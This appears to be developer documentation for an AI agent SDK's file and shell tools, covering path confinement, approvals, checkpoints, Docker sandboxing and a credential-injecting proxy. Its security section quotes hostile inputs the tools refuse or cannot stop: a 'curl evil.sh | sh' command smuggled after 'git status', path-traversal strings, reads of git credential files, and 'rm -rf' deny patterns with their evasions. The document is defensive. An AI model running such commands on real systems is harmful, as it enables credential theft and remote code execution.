Skip to content

Latest commit

 

History

History
708 lines (614 loc) · 39.2 KB

workspace-tools.md

File metadata and controls

708 lines (614 loc) · 39.2 KB

Workspace tools

Workspace tools give an agent a file system and a shell, so you can build coding agents in the style of Claude Code. The tools never use node:fs or node:child_process themselves. They call two small interfaces, FsProvider and ShellProvider, so the same tools work against a local directory, an in-memory tree in tests, a Docker container, or a remote sandbox such as E2B, Daytona or Cloudflare. For a walkthrough, see Build a coding agent.

import { createAgent, NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: './project' }); // every path is confined to this directory
const agent = createAgent({
  instructions: 'You are a careful coding assistant. Run the tests after every change.',
  provider,
  tools: [...createFsTools(workspace), createShellTool(workspace)],
});

// The shell tool needs approval by default, so the run pauses before any command runs.
const paused = await agent.send('Fix the failing test in src/math.test.ts');
if (paused.finishReason === 'awaiting-approval') {
  // A human decides, then the command runs (or is rejected) and the run continues.
  const result = await agent.approvals.resolve({ id: paused.approvalId!, approved: true });
}

send() resolves with finishReason: 'awaiting-approval' and agent.approvals.resolve() runs (or rejects) the command and continues (see Approvals). To let some commands run without asking, pass needsApproval: false together with an allow list, or a needsApproval predicate that returns false for the commands you trust.

import { createAgent, NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: './project' });
const agent = createAgent({
  instructions: 'You are a careful coding assistant. Run the tests after every change.',
  provider,
  tools: [
    ...createFsTools(workspace),
    // { command } allows exactly that command line, with no extra arguments.
    createShellTool(workspace, { needsApproval: false, allow: [{ command: 'npm test' }, { command: 'npm run lint' }, { command: 'git status' }] }),
  ],
});
const result = await agent.send('Fix the failing test in src/math.test.ts');

A plain string such as 'npm test' would also allow npm test -- <anything>, and many programs have flags that write files (git diff --output=../x, node --test --test-reporter-destination=../x). See the rules below.

Advanced: the executor API

createAgent() runs AgentExecutor underneath (see The executor API). To own the wiring yourself, register the tools in a ToolRegistry and call the executor; the pause is the same, and resumeAfterApproval(...) is what agent.approvals.resolve() calls once a human approves:

import { AgentExecutor, ToolRegistry } from '@lousho/build-ai-agent/executor';
import { NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: '.' }); // every path is confined to this directory
const registry = new ToolRegistry();
registry.registerMany([...createFsTools(workspace), createShellTool(workspace)]);

// The shell tool needs approval by default, so the run pauses before any command runs.
const paused = await AgentExecutor.execute({ agent, input, provider, toolRegistry: registry, approvalStore });
// paused.finishReason === 'awaiting-approval' -> resumeAfterApproval(...) once a human approves

The tools

createFsTools(fs, options?) returns these defineTool tools:

Tool Arguments Returns
read_file path, optional offset (1-based line), limit Numbered lines (" 12\tcode"). When the output is cut, the last line says which lines were shown and the offset to continue from. Files over 10 MB are refused.
write_file path, content Creates or overwrites the file and creates missing parent directories.
edit_file path, old_string, new_string, optional replace_all Replaces the exact text. Fails with a message the model can act on when old_string is missing (including a hint about CRLF line endings) or appears more than once without replace_all. When old_string is missing but a non-empty new_string is in the file, the edit was already applied (a call re-run after a crash): it succeeds without writing and says so. Refuses a file that is not UTF-8 (latin1, Windows-1252, UTF-16) and leaves it unchanged, when the provider has readFileBytes (as NodeWorkspace does). A UTF-8 BOM is kept.
list_dir optional path Sorted entries; directories end with /.
glob pattern, optional path Sorted paths of matching files. * stays within one directory, ** crosses directories, plus ?, [abc] and {a,b}.
grep pattern (JavaScript regex), optional path, glob, ignore_case path:line: text for each matching line. An invalid regex, or one with nested repetition like (a+)+, is a tool error. Binary files and files over 2 MB are skipped.
Option Default Meaning
readOnly false Only create read_file, list_dir, glob and grep.
needsApproval none Per tool: { write_file: true, edit_file: ({ path }) => !path.startsWith('src/') }.
maxReadLines 2000 Most lines read_file returns per call.
maxOutputChars 50,000 Most characters a tool returns per call.
maxResults 200 Most paths, matches or entries glob, grep and list_dir return.
maxFilesScanned 20,000 Most files a glob or grep walk visits.
grepTimeoutMs 10,000 Milliseconds grep may spend matching its regex across all files; time spent reading files does not count. A slow pattern stops with an error naming how many files were scanned.
ignore ['.git', 'node_modules'] Directory names glob and grep skip.
deny ['.git'] Entry names no tool reads, lists, searches or writes, at any depth. A path through one is a tool error. [] turns it off. See Security model.
checkpoints none A WorkspaceCheckpoints: back up every file write_file and edit_file change, so the changes can be rewound (see below).

createShellTool(shell, options?) returns one tool, shell, that takes command and an optional timeout_ms. It returns { exitCode, stdout, stderr }. When the command was killed, the result also has timedOut: true or aborted: true and a note saying why.

Option Default Meaning
needsApproval true true, false, or a predicate over the command string.
allow none When set, only matching commands may run. A string allows the command with arguments that stay in the workspace and need no $/{} expansion; see the rules below.
deny none Matching commands are refused.
defaultTimeoutMs 120,000 Timeout when the model does not pass timeout_ms.
maxTimeoutMs 600,000 A larger timeout_ms is lowered to this value.
maxOutputChars 30,000 Per stream. Beyond this the start and end of the output are kept and the middle is replaced by a marker.
cwd, env none Working directory (relative to the workspace) and extra variables for every command.
name 'shell' Tool name.
import { createShellTool, NodeWorkspace } from '@lousho/build-ai-agent';

const shell = createShellTool(new NodeWorkspace({ root: '.' }), {
  needsApproval: (command) => !/^(ls|cat|git (status|diff|log))\b/.test(command), // read-only commands run without asking
  deny: ['rm -rf', /\bsudo\b/],
  defaultTimeoutMs: 60_000,
});

Cancelling the run (agent.send(input, { signal }) or AgentExecutor.execute({ signal })) kills the running command together with every process it started: a process group on Linux and macOS, and taskkill /T on Windows.

To undo what the agent did to the files, pass a WorkspaceCheckpoints to createFsTools(fs, { checkpoints }). Before write_file or edit_file changes a file, the old content (and its permission bits, when the provider has getMode and chmod, as NodeWorkspace does) is recorded under the run's session and turn. A turn is the 0-based index of the user message the tool call answers: the first session.send() is turn 0, the next is turn 1. checkpoints.list({ sessionId }) returns the turns with changes and the paths each one changed. checkpoints.rewind(toTurn, { sessionId }) puts every file changed in turn toTurn or later back as it was before toTurn: a file the agent created is deleted, one it edited or overwrote gets its content back. With dryRun: true it changes nothing and returns the same report.

import { createAgent, createFsTools, MemoryWorkspace, WorkspaceCheckpoints } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const workspace = new MemoryWorkspace({ files: { 'notes.md': '# Notes\n' } });
const checkpoints = new WorkspaceCheckpoints(workspace); // backups in memory; FileWorkspaceCheckpointStore keeps them on disk
const agent = createAgent({
  instructions: 'You edit files in the workspace.',
  provider: mockModel([
    { toolCalls: [{ name: 'edit_file', args: { path: 'notes.md', old_string: '# Notes', new_string: '# Plan' } }] },
    'Renamed the heading.',
    { toolCalls: [{ name: 'write_file', args: { path: 'todo.md', content: '- ship it\n' } }] },
    'Added a to-do list.',
  ]),
  tools: createFsTools(workspace, { checkpoints }),
});

const session = agent.session();
await session.send('Rename the heading to Plan'); // turn 0
await session.send('Start a to-do list'); // turn 1
console.log(await checkpoints.list({ sessionId: session.id }));
// [{ turn: 0, paths: ['notes.md'] }, { turn: 1, paths: ['todo.md'] }]

const preview = await checkpoints.rewind(0, { sessionId: session.id, dryRun: true });
console.log(preview); // { dryRun: true, restored: ['notes.md'], deleted: ['todo.md'], skipped: [] }
await checkpoints.rewind(0, { sessionId: session.id });
console.log(workspace.snapshot()); // { 'notes.md': '# Notes\n' }

A file whose content is no longer what the agent last wrote there was changed by something else (you, an editor, the shell tool), so rewind leaves it alone and reports it in skipped as 'changed-since'; pass force: true to restore it anyway. A path that exists but is not a file (a directory, say) is skipped as 'not-a-file'. Every path is checked before anything is written, and restores go through the same provider, so NodeWorkspace keeps them inside the root, symlinks included. A real rewind then forgets the backups of the rewound turns, skipped files' included, so a second rewind does nothing: look at the dry run first. Directories the agent created stay (empty) after their files are deleted. The conversation is not rewound; to branch it as well, fork the session with session.fork({ fromStep }) (see Forking a session; a step's turn in session.history() is the turn number used here), or a single run with agent.fork() (see Fork and replay).

Backups survive a crash. The backup is stored before the file is written, so a process killed between the two loses nothing: the file still holds the backed-up content, and rewind treats it as nothing to undo. A tool call that was running when the process died runs again on resume (see At-least-once tools); the re-run finds the turn's backup of that path and keeps it, so rewind() restores the content from before the first attempt, not the agent's own half-finished write. A write_file or edit_file that would leave the file as it is (the same content, an edit already applied) records and writes nothing.

What is not tracked: changes made by the shell tool, files written by a sub-agent with its own file tools (unless it gets the same WorkspaceCheckpoints, in which case they are recorded under its own session id), and files larger than maxFileBytes (default 1,000,000 bytes): those are reported as 'too-large' and never deleted. Without a session, every agent.send() is turn 0 of the session 'default', so use agent.session() to rewind by turn. Turns are counted in the transcript the model sees, so after a compaction removes old user messages the numbering of later turns shifts.

Backups do not grow without bound. Only the newest maxTurns turns of each session are kept (default 20; rewind() to an older turn throws); a file over maxFileBytes is not copied; when one turn writes a path several times, only the first write keeps the old content (the later ones keep a hash, for the audit trail); a rewind drops the backups it rewound; and checkpoints.clear({ sessionId }) forgets a session. The default store keeps backups in memory. new FileWorkspaceCheckpointStore(dir) writes one JSON file per session, atomically (temp file, then rename), so a rewind works after a restart; implement WorkspaceCheckpointStore to keep them elsewhere. File content lives only in the store, never in events or traces.

Security model

Read this before you give a model a shell.

What is enforced

Paths stay inside the root. Before any file is touched, NodeWorkspace (and MemoryWorkspace) normalizes each path. These are rejected on every platform:

  • .. that climbs above the root (../secret, src/../../secret)
  • absolute paths (/etc/passwd, and an absolute path that points inside the root)
  • Windows drive letters (C:\Windows, C:secret)
  • UNC and extended-length paths (\\server\share, //server/share, \\?\C:\)
  • NUL bytes

Backslashes count as separators everywhere, so mixing separators (src/..\..\secret) cannot hide a ... On Windows, : (alternate data streams), reserved device names (CON, NUL, COM1, ...) and segments made only of dots and spaces (Windows drops trailing dots and spaces, so .. would act as ..) are rejected too.

Symlinks cannot escape. After that check, NodeWorkspace resolves the path with realpath. If the path does not exist yet, it resolves the deepest part that does exist. The result must still be inside the root's own real path. This means:

  • A link inside the root that points outside it is rejected for reads, and for writes to files that do not exist yet (escape-link/new.txt).
  • A link whose target does not exist is never followed, because writing through it could create a file outside the root.
  • glob and grep never follow links while walking the tree.
  • rm on a link removes the link itself and leaves its target alone.

Writes are atomic. NodeWorkspace writes a file (for write_file and edit_file too) to a temp file in the same directory, flushes it and renames it over the target, so a process killed mid-write leaves the old file or the new one, never half of it. A replaced file keeps its permission bits, and a read-only file is still refused.

The file tools keep out of .git. A checkout often has credentials in .git/config: actions/checkout keeps the job's token there as http.https://github.com/.extraheader = AUTHORIZATION: basic ..., and a model that can read it can leak the token in its answer. In a git worktree, .git is a file that names the host path of the main repository. So read_file, list_dir, glob, grep, write_file and edit_file refuse any path with a .git segment, at any depth (.git/config, sub/.git), and glob, grep and list_dir leave .git entries out of their results, even with ignore: []. The check runs after normalization, so ./.git, a/../.git, .git\config and .git/ are refused too. Names compare case-insensitively (.GIT), trailing dots and spaces are ignored (Windows opens .git. as .git), and on Windows 8.3 short names such as GIT~1 are refused. .gitignore and .github/ are not affected. Add names with the deny option, for example deny: ['.git', '.env', 'secrets'] (entry names, not paths), or pass deny: [] to turn the check off.

import { createFsTools, NodeWorkspace } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: '.' });
const tools = createFsTools(workspace, { readOnly: true, deny: ['.git', '.env'] });

Links into .git are refused too. With NodeWorkspace (or any provider that implements realPath), the check also runs on where a path really leads, so a symlink or Windows junction elsewhere in the workspace that points at .git or into it (gitj -> .git, hooks -> .git/hooks, cfg -> .git/config) cannot be used to read, write or edit what is behind it: read_file gitj/config, edit_file gitj/config and write_file gitj/PWNED are tool errors, and so are list_dir, glob and grep given the link as their path (grep with path: 'gitj' or path: 'gitj/config'). glob and grep never follow links while walking the tree, so a search from the root does not reach .git through a link either. A provider without realPath (MemoryWorkspace has no links) gets the name check only.

The shell tool is not covered: a command is free text, so it cannot be path-filtered, and cat .git/config or git config --get-regexp extraheader still works. Git commands that coding agents need (git status, git diff) go through the shell tool, so keep its allow list to the git commands you mean. In CI, also pass persist-credentials: false to actions/checkout when the job does not push.

Rejections are tool errors. A refused path, a missing file or an ambiguous edit throws a WorkspaceError inside the tool. The model receives { "error": "WorkspaceError", "toolName": "read_file", "message": "..." } and the run continues. Messages show the workspace path, never the host path.

Commands get a minimal environment. NodeWorkspace runs commands with cwd set to the root. It does not pass on the parent process's environment. Only PATH, HOME, USERPROFILE, TEMP, TMP, TMPDIR, LANG, LC_* and TERM are copied, plus SystemRoot, SystemDrive, ComSpec, PATHEXT and WINDIR on Windows, because a shell needs them to start. So OPENAI_API_KEY, ANTHROPIC_API_KEY, cloud credentials and other secrets in your server's environment are not visible to commands the model writes, and env or printenv cannot reveal them. To give commands more, either pass values (env: { GITHUB_TOKEN: scopedToken }) or name host variables to copy (inheritEnv: ['CI']). Anything you pass this way is visible to the model. inheritEnv: true passes the whole host environment, as before this default existed; use it only for commands you trust. On Windows, Node's process launcher also adds the session variables every process needs (HOMEDRIVE, HOMEPATH, USERNAME, USERDOMAIN, LOGONSERVER); none of them is a secret.

import { NodeWorkspace } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({
  root: './project',
  env: { NODE_ENV: 'test' },        // added for every command
  inheritEnv: ['CI', 'NODE_OPTIONS'], // copied from the host environment
});

root must already exist: the constructor resolves it with realpath and throws a ConfigurationError when the path is missing, empty or not a directory — it never creates it. The kept workspace.root is the real, absolute path.

The shell tool needs approval by default. Unless you choose otherwise, every command waits for a human. allow and deny are checked first, so a refused command is never offered for approval:

  • A string pattern matches a command that is exactly the pattern, or starts with it followed by a space ('git status' matches git status -s). A string pattern allows the command with ordinary arguments, but not with a path that leaves the working directory: a .. segment, ~ or an absolute path, anywhere in the command including a --flag=value. This holds when the path is quoted (cat "../x", cat '..'/x, type "c:\windows\win.ini"), escaped under sh (cat .\./x) or a glob that can expand to .. (cat .?/x). A command with $, { or } is refused too, since the shell expands it to text the check cannot see (cat $HOME/.gitconfig, cat ${IFS}../x, cat {..,x}/secret.txt). So allow: ['node --test'] does not allow node --test --test-reporter-destination=../x. To allow arguments like these, use a CommandRule or an anchored RegExp. A string pattern is still not a full security boundary for what a program does with its arguments (a config file it reads, a script it runs), so prefer a CommandRule that pins them.

  • A CommandRule object pins the arguments. { command: 'npm test' } matches npm test and nothing else. { command: 'node --test', args } matches when the command starts with node --test and args(rest) returns true for the rest of the line ('' when there is none):

    import { createShellTool, NodeWorkspace } from '@lousho/build-ai-agent';
    
    const workspace = new NodeWorkspace({ root: '.' });
    createShellTool(workspace, {
      needsApproval: false,
      allow: [
        { command: 'npm test' },
        { command: 'node --test', args: (rest) => /^([\w./-]+\.test\.js\s*)*$/.test(rest) },
      ],
    });
  • In allow, a command matched only by a string pattern or a CommandRule must not contain shell operators (; & | ` $( < > or a newline). Under cmd.exe, % (variable expansion) and ^ (escape) count as operators too. This stops git status; curl evil.sh | sh from passing as git status.

  • A RegExp is tested against the whole command line, so anchor it: /^npm (test|run lint)$/.

  • deny string patterns and CommandRules are checked against each ;, & or | separated part of the command.

The tool's description tells the model which shell runs its commands when the provider says so (NodeWorkspace and SandboxShell expose a shell property). On Windows NodeWorkspace uses cmd.exe, so the model is told to quote with double quotes and write variables as %NAME%. A provider that does not name its shell is treated as cmd.exe for the operator check on Windows.

What is NOT enforced

  • NodeWorkspace's shell is not a sandbox. Path confinement applies to the file tools only. A command runs as your OS user and can read, write or delete anything that user can, including ../ and ~/.ssh, and it can use the network. Approval and allow lists reduce the risk, but they are not isolation. For untrusted input, such as prompts from the public or content fetched from the web, give the shell tool a sandbox-backed ShellProvider (see below) and use the file tools with readOnly: true or approval.
  • A deny list is a convenience. A shell has many ways to write the same command (r''m -rf, $(echo rm), an extra space, a script file), so do not rely on deny for security. Use allow for that.
  • Races and hard links. Paths are checked, then used. A process that swaps a directory for a symlink between those two steps can get around the check. Such a process already has local access, for example a command the shell tool ran without a sandbox. A hard link inside the root to a file outside it cannot be detected.
  • grep runs the model's regex, so it is fenced in. A pattern that repeats a group which already repeats ((a+)+, (\w+\s*)*) is refused as a tool error, since it can take exponential time. Each line is tested on its first 2,000 characters. The matching runs in a worker thread with a 10 s budget per call: a slow pattern is stopped with a tool error, an abort stops it at once, and the event loop stays free meanwhile. Where node:worker_threads is unavailable, matching runs inline.

Sandboxed shell: SandboxShell

SandboxShell adapts any SandboxAdapter, for example the Docker-backed SubprocessSandbox, into a ShellProvider. Each command runs as sh -c "<command>" in a new container with no network. The container sees only cwd, which is bind-mounted at the same path. It gets only the env you pass, nothing from the host. File tools can keep using NodeWorkspace on the same directory:

import { createFsTools, createShellTool, NodeWorkspace, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: './project' });
const shell = new SandboxShell(new SubprocessSandbox({ image: 'node:20-alpine' }), { cwd: workspace.root });
const tools = [...createFsTools(workspace), createShellTool(shell, { needsApproval: false })];

Environment and network. SandboxShell takes the same env and inheritEnv options as NodeWorkspace. A container gets only those variables: never the host environment, and not the host's PATH or HOME either, because the image brings its own. With NoopSandbox (which runs on the host) a command gets the same small base NodeWorkspace uses, plus your variables; inheritEnv: true restores the whole host environment there, but a container still never receives it.

SubprocessSandbox takes a network policy:

network What the container gets
'none' (default) No network at all (Docker NetworkMode: 'none').
'default' Docker's default network: unrestricted egress.
{ allow: ['api.github.com', '*.npmjs.org'] } with a broker Only these hosts, through the credential broker. See below.
{ allow: [...] } without a broker No network (fails closed).

Host names are checked when the sandbox is constructed, so a URL or a malformed name throws; the validated list is kept on sandbox.network.

Allowlisted egress: network: { allow } with a broker

Docker cannot filter outgoing traffic by host name by itself, so an allow list is only enforced when a proxy is the container's only way out. SubprocessSandbox builds that with Docker's own primitives:

  1. On the first run() it creates an internal bridge network (Internal: true, no IPv6, label com.lousho.sandbox=egress), named networkName or lousho-egress-<random>. An internal network has no route off the bridge. If a network with that name exists, it is reused, but only if it is internal.
  2. The broker gets a second listener on that network's gateway address, which on Docker Engine for Linux is the host's own interface on the bridge. It accepts connections only from the network's subnet (any other peer is dropped before a byte is read), so it is not an open proxy on the host's other interfaces. Its allowlist is the broker's rule hosts plus the sandbox's allow list. The broker's own allow option and its loopback listener are unchanged.
  3. Every container joins that network with HTTP_PROXY/HTTPS_PROXY (and lower-case forms) set to the gateway listener, merged over the env you pass. NO_PROXY holds only the gateway address, so $HTTP_PROXY/__broker/<host>/<path> (the path form that adds credentials) reaches the broker directly; it gives no other bypass, because nothing else is reachable.
  4. sandbox.close() stops the listener and removes the network if this sandbox created it. An aborted or timed-out run removes its container as before; the network stays for the sandbox's next run until close().
import { createCredentialBroker, createShellTool, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const token = 'ghp_example'; // read from your secret store; it never enters the container
const broker = await createCredentialBroker({ rules: { 'api.github.com': { authorization: () => `Bearer ${token}` } } });
const sandbox = new SubprocessSandbox({ image: 'node:20-alpine', network: { allow: ['registry.npmjs.org'] }, broker });
const tool = createShellTool(new SandboxShell(sandbox, { cwd: '/abs/path/to/project' }), { needsApproval: false });
// ... run the agent with `tool` ...
await sandbox.close();
await broker.close();

What this enforces, and where:

  • Docker Engine on Linux, with the agent on the same host: enforced. The container can reach the gateway address and nothing past the bridge. DNS: the container resolves no outside names itself (Engine 25.0.5 and later do not forward DNS from internal networks, CVE-2024-29018; older Engines are refused), so names go to the proxy, which resolves them on the host after the allowlist check. Raw IP connections have no route. Non-HTTP protocols (SSH, raw TCP, UDP) are blocked, because only the proxy is reachable, and CONNECT tunnels are checked against the allowlist like any request. This is tested against a real daemon: CI's compat job (npm run test:docker) runs on GitHub's ubuntu-latest runner (rootful Docker Engine 28.0.4 on Ubuntu 24.04 when it was added) and checks that an allowed host answers through the broker, that other hosts get a 403, that bypassing the proxy or dialling a raw IP has no route, that the container resolves no outside names, that the broker adds credentials the container never sees, that a container outside the network cannot use the gateway listener, that close() and an aborted run leave no network or container behind, and that a reused non-internal network is refused.
  • Docker Desktop (Windows, macOS, and Desktop on Linux): refused. Containers run in a VM, so the host has no address on the internal network. host.docker.internal reaches the host only from non-internal networks, which would also reach everything else. run() rejects with LOUSHO_SANDBOX_EGRESS_UNSUPPORTED and starts no container. So do rootless Docker (the bridge lives in its own network namespace), a daemon on another machine (the broker cannot bind the gateway address), a reused network that is not internal, and an Engine older than 25.0.5.
  • Other services on the host's bridge address. A container on an internal network can reach any host service that listens on the gateway address or on all addresses (0.0.0.0). Bind host services to 127.0.0.1, or firewall the bridge subnet to the broker's port only. A host firewall that drops traffic from the bridge (a strict INPUT policy) blocks the broker too: runs then fail to connect, they do not get open egress.
  • Host commands are still not firewalled. A NodeWorkspace or NoopSandbox command can ignore the proxy variables; see the credential broker notes below.

These guarantees come from Docker's documented behavior of internal networks; the SDK's tests exercise the wiring against a fake Docker client, not a live daemon.

import { createShellTool, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const sandbox = new SubprocessSandbox({ image: 'node:20-alpine', network: 'none' });
const shell = new SandboxShell(sandbox, {
  cwd: '/abs/path/to/project',
  env: { NODE_ENV: 'test' }, // set for every command
  inheritEnv: ['CI'],        // copied from the host environment
});
const tool = createShellTool(shell, { needsApproval: false });

What this does not cover: a value you pass in env or inheritEnv is readable by the model's commands, and network: 'default' lets a command send it anywhere. Keep long-lived secrets out of both; use the credential broker below instead.

When the run is aborted, SandboxShell passes the abort signal to the adapter. SubprocessSandbox then kills and removes the container and the shell tool reports aborted: true; a signal that is already aborted starts no container. An adapter that ignores SandboxRunOptions.signal is no longer waited on, but its command keeps running until its timeout; the shell tool always sets one.

Credential broker

A command the model runs (git, curl, a script) sometimes has to call an authenticated API, but any token in its environment is readable by the model. createCredentialBroker() keeps the token on the host: it starts a local HTTP proxy that adds the auth headers to requests for the hosts you name, so the command only ever sees the proxy's address.

import { createCredentialBroker, NodeWorkspace } from '@lousho/build-ai-agent';

const token = 'ghp_example'; // read from your secret store; never passed to the command
const broker = await createCredentialBroker({
  rules: { 'api.github.com': { authorization: () => `Bearer ${token}` } },
  allow: ['registry.npmjs.org'], // reachable without injected headers
});
const workspace = new NodeWorkspace({ root: './project', env: { ...broker.env } });
await workspace.exec(`curl -s ${broker.baseUrl('api.github.com')}/user`);
await broker.close();
  • What it returns. url (the proxy, on an ephemeral 127.0.0.1 port by default), env (HTTP_PROXY, HTTPS_PROXY, NO_PROXY and lower-case forms, for the env option of NodeWorkspace or SandboxShell), baseUrl(host) and close(), which stops the listener and destroys open sockets. A header value is a string or a function called per request.
  • Allowlist. Rule hosts (exact names or *.suffix, which matches subdomains only — *.example.com does not match example.com) are allowed implicitly; allow adds hosts reached without injected headers. Any other host gets a 403 before a connection is opened. Hosts that resolve to loopback, link-local (such as the cloud metadata address 169.254.169.254) or private addresses are refused unless listed in allowPrivate, so a command cannot use the proxy to reach services on your machine or network.
  • Secrets stay on the host. Injected values never appear in env, in the proxy's error responses or in any log. A request to a brokered host that already carries an Authorization header has it removed and replaced. Hop-by-hop headers (Connection, Proxy-Authorization, ...) are not forwarded.
  • HTTPS limitation. Header injection works on plain-HTTP requests and on the path form: the broker serves http://127.0.0.1:<port>/__broker/<host>/<path> and forwards it to https://<host>/<path> with the headers added, which is what baseUrl(host) returns. Point a tool at that base URL (for example an SDK's baseURL option or a curl URL) to get auth without holding the token. A client that uses HTTPS_PROXY for an https:// URL opens a CONNECT tunnel instead: the broker checks the allowlist on the tunnel target and passes the encrypted bytes through untouched, so no header is added. The broker does not intercept TLS.
  • It is not a firewall on the host. A command run by NodeWorkspace can ignore the proxy variables and open its own connections; the allowlist only covers traffic sent through the broker. What the broker guarantees is that the token is never in the command's reach.
  • Containers. Do not pass broker.env to a SubprocessSandbox: it points at the host's loopback. Pass the broker itself instead, new SubprocessSandbox({ network: { allow }, broker }), and the sandbox routes its containers through it (see Allowlisted egress). It does that with broker.listen({ host, clients, allow }), which adds a listener on another address that serves only peers from the clients subnet, with the rule hosts plus allow as its allowlist. The broker listens on loopback only unless you call it.

Writing your own provider

Both interfaces are small. Paths are workspace-relative and use /. normalizeWorkspacePath() applies the same checks the built-in providers use. A provider exposed to a model must confine paths itself, because a custom tool could call it directly. Throw WorkspaceError with a readable message on failure.

import { normalizeWorkspacePath, WorkspaceError, type FsProvider, type ShellProvider } from '@lousho/build-ai-agent';

// A stand-in for your remote sandbox SDK (E2B, Daytona, Cloudflare, ...).
declare const remote: {
  read(path: string): Promise<string | null>;
  write(path: string, data: string): Promise<void>;
  list(path: string): Promise<{ name: string; dir: boolean }[]>;
  run(cmd: string, opts: { cwd: string; timeoutMs?: number }): Promise<{ out: string; err: string; code: number }>;
};
const base = '/home/user/project';
const abs = (path: string) => `${base}/${normalizeWorkspacePath(path, 'posix')}`;

export const remoteFs: FsProvider = {
  async readFile(path) {
    const data = await remote.read(abs(path));
    if (data === null) throw new WorkspaceError(`File not found: ${path}`);
    return data;
  },
  writeFile: (path, content) => remote.write(abs(path), content),
  async stat(path) {
    const data = await remote.read(abs(path));
    return data === null ? undefined : { type: 'file', size: data.length };
  },
  async readdir(path) {
    return (await remote.list(abs(path))).map((e) => ({ name: e.name, type: e.dir ? 'directory' : 'file' }));
  },
  async mkdir(path) { await remote.run(`mkdir -p '${abs(path)}'`, { cwd: base }); },
  async rm(path, options) { await remote.run(`rm ${options?.recursive ? '-r ' : ''}'${abs(path)}'`, { cwd: base }); },
};

export const remoteShell: ShellProvider = {
  async exec(command, options = {}) {
    const r = await remote.run(command, { cwd: abs(options.cwd ?? '.'), timeoutMs: options.timeoutMs });
    return { stdout: r.out, stderr: r.err, exitCode: r.code, timedOut: false };
  },
};

Two optional methods, getMode(path) and chmod(path, mode), let WorkspaceCheckpoints restore a file's permission bits along with its content; without them a rewind restores the content only. A third, readFileBytes(path), returns a file's raw bytes: with it edit_file refuses a file that is not valid UTF-8 (or has a UTF-16 BOM) instead of writing U+FFFD over every byte it could not decode.

ShellProvider.exec should resolve, not reject, for a non-zero exit code, a timeout (timedOut: true) or an abort (aborted: true). It should reject only when the command could not be started.

Testing with MemoryWorkspace

MemoryWorkspace keeps the file tree in memory and checks paths the same way. Its exec is a stub you program, and every command it receives is recorded. Combine it with mockModel for deterministic tests:

import { createAgent, createFsTools, createShellTool, MemoryWorkspace } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const workspace = new MemoryWorkspace({
  files: { 'src/math.ts': 'export const add = (a: number, b: number) => a - b;\n' },
  exec: (command) => (command === 'npm test' ? { stdout: '1 passed\n' } : { exitCode: 1, stderr: 'unknown command\n' }),
});
const provider = mockModel([
  { toolCalls: [{ name: 'edit_file', args: { path: 'src/math.ts', old_string: 'a - b', new_string: 'a + b' } }] },
  { toolCalls: [{ name: 'shell', args: { command: 'npm test' } }] },
  'Fixed add() and the tests pass.',
]);
const agent = createAgent({
  instructions: 'Fix bugs.',
  provider,
  tools: [...createFsTools(workspace), createShellTool(workspace, { needsApproval: false })],
});
await agent.send('add() is broken');
console.log(workspace.snapshot()['src/math.ts']); // '... a + b;\n'
console.log(workspace.commands.map((c) => c.command)); // ['npm test']